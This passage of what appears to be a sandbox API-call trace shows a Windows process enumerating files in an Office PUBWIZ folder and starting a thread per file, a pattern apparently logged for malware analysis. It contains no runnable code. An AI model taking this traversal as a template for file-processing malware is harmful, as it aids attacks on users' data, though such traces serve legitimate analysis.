| out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC" [0158.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x266c [0158.899] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x594c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR98.POC", cAlternateFileName="")) returned 1 [0158.899] wcscmp (_String1="AIR98.POC", _String2=".") returned 1 [0158.899] wcscmp (_String1="AIR98.POC", _String2="..") returned 1 [0158.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42307a80 [0158.899] wcscpy (in: _Dest=0x42307a80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.899] wcscat (in: _Dest=0x42307a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.899] wcscat (in: _Dest=0x42307a80, _Source="AIR98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC" [0158.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2670 [0158.901] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa402, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWARDHM.POC", cAlternateFileName="")) returned 1 [0158.901] wcscmp (_String1="AWARDHM.POC", _String2=".") returned 1 [0158.901] wcscmp (_String1="AWARDHM.POC", _String2="..") returned 1 [0158.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddd200 [0158.901] wcscpy (in: _Dest=0x1cddd200, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.901] wcscat (in: _Dest=0x1cddd200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.901] wcscat (in: _Dest=0x1cddd200, _Source="AWARDHM.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC" [0158.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2674 [0158.903] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x91cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAN98.POC", cAlternateFileName="")) returned 1 [0158.903] wcscmp (_String1="BAN98.POC", _String2=".") returned 1 [0158.903] wcscmp (_String1="BAN98.POC", _String2="..") returned 1 [0158.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42307b00 [0158.903] wcscpy (in: _Dest=0x42307b00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.903] wcscat (in: _Dest=0x42307b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.903] wcscat (in: _Dest=0x42307b00, _Source="BAN98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC" [0158.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2678 [0158.904] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xd2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.DPV", cAlternateFileName="")) returned 1 [0158.904] wcscmp (_String1="BANNER.DPV", _String2=".") returned 1 [0158.904] wcscmp (_String1="BANNER.DPV", _String2="..") returned 1 [0158.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddd290 [0158.905] wcscpy (in: _Dest=0x1cddd290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.905] wcscat (in: _Dest=0x1cddd290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.905] wcscat (in: _Dest=0x1cddd290, _Source="BANNER.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV" [0158.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x267c [0158.906] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd27b00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fd27b00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x236c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.XML", cAlternateFileName="")) returned 1 [0158.906] wcscmp (_String1="BANNER.XML", _String2=".") returned 1 [0158.906] wcscmp (_String1="BANNER.XML", _String2="..") returned 1 [0158.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddd320 [0158.906] wcscpy (in: _Dest=0x1cddd320, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.906] wcscat (in: _Dest=0x1cddd320, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.906] wcscat (in: _Dest=0x1cddd320, _Source="BANNER.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" [0158.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2680 [0158.907] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x4d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDRTKFUL.POC", cAlternateFileName="")) returned 1 [0158.907] wcscmp (_String1="BDRTKFUL.POC", _String2=".") returned 1 [0158.907] wcscmp (_String1="BDRTKFUL.POC", _String2="..") returned 1 [0158.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd3b0 [0158.908] wcscpy (in: _Dest=0x1cddd3b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.909] wcscat (in: _Dest=0x1cddd3b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.909] wcscat (in: _Dest=0x1cddd3b0, _Source="BDRTKFUL.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC" [0158.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2684 [0158.925] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18eb8500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18eb8500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x3f40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.DPV", cAlternateFileName="")) returned 1 [0158.925] wcscmp (_String1="BIZCARD.DPV", _String2=".") returned 1 [0158.925] wcscmp (_String1="BIZCARD.DPV", _String2="..") returned 1 [0158.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddd440 [0158.925] wcscpy (in: _Dest=0x1cddd440, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.925] wcscat (in: _Dest=0x1cddd440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.925] wcscat (in: _Dest=0x1cddd440, _Source="BIZCARD.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV" [0158.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2688 [0158.941] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cde200, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47cde200, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x31ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.XML", cAlternateFileName="")) returned 1 [0158.942] wcscmp (_String1="BIZCARD.XML", _String2=".") returned 1 [0158.942] wcscmp (_String1="BIZCARD.XML", _String2="..") returned 1 [0158.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddd4d0 [0158.942] wcscpy (in: _Dest=0x1cddd4d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.942] wcscat (in: _Dest=0x1cddd4d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.942] wcscat (in: _Dest=0x1cddd4d0, _Source="BIZCARD.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" [0158.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268c [0158.943] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d76700, ftCreationTime.dwHighDateTime=0x1c5ee67, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99d76700, ftLastWriteTime.dwHighDateTime=0x1c5ee67, nFileSizeHigh=0x0, nFileSizeLow=0x1b7ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.DPV", cAlternateFileName="")) returned 1 [0158.943] wcscmp (_String1="BIZFORM.DPV", _String2=".") returned 1 [0158.943] wcscmp (_String1="BIZFORM.DPV", _String2="..") returned 1 [0158.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddd560 [0158.943] wcscpy (in: _Dest=0x1cddd560, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.943] wcscat (in: _Dest=0x1cddd560, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.943] wcscat (in: _Dest=0x1cddd560, _Source="BIZFORM.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" [0158.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2690 [0158.944] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397fc500, ftCreationTime.dwHighDateTime=0x1ca5c59, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x397fc500, ftLastWriteTime.dwHighDateTime=0x1ca5c59, nFileSizeHigh=0x0, nFileSizeLow=0x10a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.XML", cAlternateFileName="")) returned 1 [0158.944] wcscmp (_String1="BIZFORM.XML", _String2=".") returned 1 [0158.944] wcscmp (_String1="BIZFORM.XML", _String2="..") returned 1 [0158.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cddd5f0 [0158.944] wcscpy (in: _Dest=0x1cddd5f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.944] wcscat (in: _Dest=0x1cddd5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.944] wcscat (in: _Dest=0x1cddd5f0, _Source="BIZFORM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" [0158.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2694 [0158.945] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e02aa00, ftCreationTime.dwHighDateTime=0x1c9c882, ftLastAccessTime.dwLowDateTime=0x51a3b970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e02aa00, ftLastWriteTime.dwHighDateTime=0x1c9c882, nFileSizeHigh=0x0, nFileSizeLow=0xf0ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.DPV", cAlternateFileName="")) returned 1 [0158.945] wcscmp (_String1="BORDERBB.DPV", _String2=".") returned 1 [0158.945] wcscmp (_String1="BORDERBB.DPV", _String2="..") returned 1 [0158.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd680 [0158.945] wcscpy (in: _Dest=0x1cddd680, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.945] wcscat (in: _Dest=0x1cddd680, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.945] wcscat (in: _Dest=0x1cddd680, _Source="BORDERBB.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV" [0158.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2698 [0158.946] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ef0c00, ftCreationTime.dwHighDateTime=0x1c97a03, ftLastAccessTime.dwLowDateTime=0x5fff0470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ef0c00, ftLastWriteTime.dwHighDateTime=0x1c97a03, nFileSizeHigh=0x0, nFileSizeLow=0x4e42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.POC", cAlternateFileName="")) returned 1 [0158.946] wcscmp (_String1="BORDERBB.POC", _String2=".") returned 1 [0158.946] wcscmp (_String1="BORDERBB.POC", _String2="..") returned 1 [0158.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd710 [0158.947] wcscpy (in: _Dest=0x1cddd710, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.947] wcscat (in: _Dest=0x1cddd710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.947] wcscat (in: _Dest=0x1cddd710, _Source="BORDERBB.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC" [0158.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x269c [0158.947] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd88300, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x600165d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xafd88300, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x3f046, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCH98SP.POC", cAlternateFileName="")) returned 1 [0158.947] wcscmp (_String1="BRCH98SP.POC", _String2=".") returned 1 [0158.947] wcscmp (_String1="BRCH98SP.POC", _String2="..") returned 1 [0158.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd7a0 [0158.948] wcscpy (in: _Dest=0x1cddd7a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.948] wcscat (in: _Dest=0x1cddd7a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.948] wcscat (in: _Dest=0x1cddd7a0, _Source="BRCH98SP.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC" [0158.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a0 [0158.949] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba931800, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba931800, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x98f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR11.POC", cAlternateFileName="")) returned 1 [0158.949] wcscmp (_String1="BRCHUR11.POC", _String2=".") returned 1 [0158.949] wcscmp (_String1="BRCHUR11.POC", _String2="..") returned 1 [0158.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd830 [0158.949] wcscpy (in: _Dest=0x1cddd830, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.949] wcscat (in: _Dest=0x1cddd830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.949] wcscat (in: _Dest=0x1cddd830, _Source="BRCHUR11.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC" [0158.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a4 [0158.950] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x243f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR98.POC", cAlternateFileName="")) returned 1 [0158.950] wcscmp (_String1="BRCHUR98.POC", _String2=".") returned 1 [0158.950] wcscmp (_String1="BRCHUR98.POC", _String2="..") returned 1 [0158.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddd8c0 [0158.950] wcscpy (in: _Dest=0x1cddd8c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0158.950] wcscat (in: _Dest=0x1cddd8c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0158.950] wcscat (in: _Dest=0x1cddd8c0, _Source="BRCHUR98.POC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" [0158.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26a8 [0158.951] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe5500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfe5500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xa7190, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.DPV", cAlternateFileName="")) returned 1 [0158.951] wcscmp (_String1="BROCHURE.DPV", _String2=".") returned 1 [0158.951] 